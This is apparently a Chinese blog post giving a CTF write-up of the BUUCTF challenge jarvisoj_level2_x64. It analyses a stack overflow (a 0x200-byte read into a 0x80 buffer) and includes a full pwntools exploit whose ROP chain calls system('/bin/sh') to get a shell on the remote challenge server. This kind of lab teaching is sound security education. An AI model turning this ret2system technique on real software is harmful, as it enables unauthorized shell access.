jarvisoj_level2_x64

最新推荐文章于 2024-05-04 22:17:26 发布

[mzq]

最新推荐文章于 2024-05-04 22:17:26 发布

阅读量572

点赞数

分类专栏： buuctf 笔记 ctf 文章标签： c++ c# 网络安全安全大数据

本文链接：https://blog.csdn.net/zip471642048/article/details/125448386

版权

笔记同时被 3 个专栏收录

113 篇文章 5 订阅

订阅专栏

ctf

107 篇文章 4 订阅

订阅专栏

buuctf

39 篇文章 1 订阅

订阅专栏

jarvisoj_level2_x64

题目地址 : https://buuoj.cn/challenges#jarvisoj_level2_x64
在这里插入图片描述

checksec 一下，64位程序开的保护影响不大（nx栈不可执行，也就是不能往栈上写shellcode）

在这里插入图片描述

main函数

主要是调用了vuln函数，其他没问题

在这里插入图片描述

vulnerable_function函数

首先这个函数调用了system函数，这就使得plt表中存在system，且可以被我们调用，然后read读取了0x200个字符串，这比buf到rbp的距离0x80还要大，这又使得我们可以对return
addr进行覆盖，再然后呢就是这个程序竟然存在/bin/sh字符串，我们可以通过system直接获得shell

在这里插入图片描述
/bin/sh字符串

exp

from pwn import *

io = process("./level2_x64")
io = remote("node4.buuoj.cn",28824)
elf = ELF("./level2_x64")

context(log_level="debug",arch="amd64",os="linux")
system_addr = elf.symbols["system"]
binsh_addr = next(elf.search("/bin/sh"))
main_addr = elf.symbols["main"]
rdi_ret_addr = 0x00000000004006b3
ret_addr = 0x00000000004004a1
payload = flat(["a"*0x80,"aaaabbbb",rdi_ret_addr,binsh_addr,ret_addr,system_addr])

io.sendlineafter("Input:",payload)
io.interactive()